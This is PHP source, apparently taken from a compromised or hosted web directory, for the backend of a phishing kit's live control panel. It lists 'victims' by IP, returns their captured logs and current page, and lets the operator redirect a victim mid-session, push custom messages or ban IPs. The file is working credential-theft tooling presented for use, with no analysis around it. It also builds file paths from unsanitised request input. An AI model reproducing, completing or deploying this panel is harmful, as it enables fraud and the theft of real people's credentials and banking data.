File "processor-20251206202133.php"
Full Path: /home/xgsotb2m/public_html/spo/panel/classes/processor-20251206202133.php
File size: 3.41 KB
MIME-type: --
Charset: utf-8
<?php
require '../classes/mother.class.php';
$m = new Mother;
if(isset($_SESSION['vic'])==""){
$vicFile = $m->createVic();
}
$vicFile = $m->getFileId();
$m->setDataFile($vicFile);
// Handle custom message functionality
if(isset($_POST['saveCustomMessage']) && isset($_POST['message']) && isset($_POST['vicIP'])){
$vicIP = $_POST['vicIP'];
$message = $_POST['message'];
$jsonFile = (__DIR__)."/../data/vics/VIC-$vicIP.json";
if(file_exists($jsonFile)) {
// Read the current JSON data directly
$jsonData = file_get_contents($jsonFile);
$data = json_decode($jsonData, true);
// Update the CUSTOM_MESSAGE field
$data['CUSTOM_MESSAGE'] = $message;
// Write the updated JSON back to file
file_put_contents($jsonFile, json_encode($data));
echo "Message saved";
} else {
echo "Error: Victim data file not found";
}
exit;
}
if(isset($_POST['redirectionListener'])){
echo $m->getData()['REDIRECT'];
}
if(isset($_POST['clearRedirection'])){
$arr = array("REDIRECT"=>0);
$m->update($arr);
}
if(isset($_POST['getVictimData'])){
$ip = $_POST['vip'];
$newMother = new Mother;
$newMother->setDataFile((__DIR__)."/../data/vics/VIC-$ip.json");
$statu = "off";
$page = $newMother->getData()["CURRENT_PAGE"];
if($newMother->getData()["LAST_ACT"] > (time() - 10)){
$statu="on";
}else{
$statu="off";
}
$data = new stdClass();
$data->page = $page;
$data->data = $newMother->getData()["LOGS"];
$data->statu = $statu;
// Add custom message to response
if(isset($newMother->getData()["CUSTOM_MESSAGE"])){
$data->custom_message = $newMother->getData()["CUSTOM_MESSAGE"];
}
$data = json_encode($data);
echo $data;
}
if(isset($_POST['getVictims'])){
$c = 0;
$res = "
<tr>
<th><i class='fa fa-user'></i> ID</th>
<th><i class='fa fa-globe'></i> IP</th>
<th><i class='fa-solid fa-file-lines'></i> Current Page</th>
<th><i class='fa fa-cog'></i> Action</th>
</tr>";
$getAll=$pdo->query("SELECT * FROM ".($jeehan->tbl)." WHERE ip NOT in (select ip from blockedvics) and last_act > ".(time() -5));
$rows = $getAll->fetchAll(PDO::FETCH_ASSOC);
if(!$rows){
$res .= "<tr><td>No data</td></tr>";
}else{
foreach($rows as $row){
$c++;
if($c==2){
$css="selected";
$c=0;
}else{
$css="";
}
$ip = $row['ip'];
$res .= "
<tr class='$css'>
<td> ".$row['id']." </td>
<td> ".$row['ip']." </td>
<td>".$row['current_page']."</td>
<td><button onclick='view(".$row['id'].")'>Control <i class='fa-solid fa-arrow-right'></i></button> <button class='ban' onclick='ban(\"$ip\")'><i class='fa-solid fa-ban'></i> Ban </button></td>
</tr>
";
}
}
echo "<table>$res</table>";
}
if(isset($_POST['keepAlive'])){
$m->feed(time(), $_POST['page']);
}
if(isset($_POST['ban'])){
$jeehan->block($_POST['ban']);
echo "Victim [".$_POST['ban']."] has been blocked.";
}
if(isset($_POST['getOnlineVics'])){
echo getOnlines();
}
function getOnlines(){
global $jeehan;
$res = "<div class='connections'>";
$on = $jeehan->getOnlineVics();
if($on>=1){
$res .= "<div class='connected'>$on</div>";
}else{
$res .= "<div class='disconnected'>$on</div>";
}
$res .= "</div>";
return $res;
}
if(isset($_POST['pageID'])){
$pageID = $_POST['pageID'];
$vicIP = $_POST['vicIP'];
$newMother = new Mother;
$newMother->setDataFile((__DIR__)."/../data/vics/VIC-$vicIP.json");
$arr = array("REDIRECT"=>$pageID);
$newMother->update($arr);
}
?>